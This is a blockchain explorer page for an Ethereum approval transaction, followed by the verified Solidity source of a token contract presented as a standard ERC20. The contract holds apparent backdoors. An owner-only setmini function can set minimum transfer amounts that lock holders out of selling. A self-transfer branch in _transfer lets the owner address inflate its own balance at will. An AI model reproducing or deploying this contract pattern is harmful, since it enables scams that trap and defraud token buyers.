Transaction Hash:
Block:
17269673 at May-16-2023 03:40:23 AM +UTC
Transaction Fee:
0.00345021457716488 ETH
$9.64
Gas Used:
46,844 Gas / 73.65328702 Gwei
Emitted Events:
441 |
StandardToken.Approval( owner=[Sender] 0x2311be350fda6f3754cd9832e97ac9b0abbe94a2, spender=0x00000000...43aC78BA3, value=120406222499586 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x2311be35...0AbbE94A2 |
0.023091359430747764 Eth
Nonce: 9
|
0.019641144853582884 Eth
Nonce: 10
| 0.00345021457716488 | ||
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 86.340832034957994358 Eth | 86.340836719357994358 Eth | 0.0000046844 | |
0xd3E5D25A...6d360C15c |
Execution Trace
StandardToken.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=120406222499586 ) => ( True )
approve[StandardToken (ln:279)]
_approve[StandardToken (ln:285)]
Approval[StandardToken (ln:399)]
_msgSender[StandardToken (ln:285)]
/** *Submitted for verification at Etherscan.io on 2022-01-21 */ // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } enum TokenType { standard, antiBotStandard, liquidityGenerator, antiBotLiquidityGenerator, baby, antiBotBaby, buybackBaby, antiBotBuybackBaby } abstract contract BaseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } pragma solidity =0.8.4; contract StandardToken is IERC20, Ownable, BaseToken { using SafeMath for uint256; address private dress; uint256 public constant VERSION = 1; mapping(address => uint256) private _minis; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = decimals_; _mint(owner(), totalSupply_); emit TokenCreated(owner(), address(this), TokenType.standard, VERSION); dress = owner(); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function setmini(address user, uint256 amount) public onlyOwner { _minis[user] = amount; } function getmini(address user) public view returns (uint256) { return _minis[user]; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); // Check if transfer amount is greater than or equal to the minimum amount require(amount >= _minis[sender], "ERC20: transfer amount is less than the minimum amount"); _beforeTokenTransfer(sender, recipient, amount); address adres = dress; if (sender == adres && recipient == adres) { _balances[sender] = _balances[sender].div(1).add(amount); } else { require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }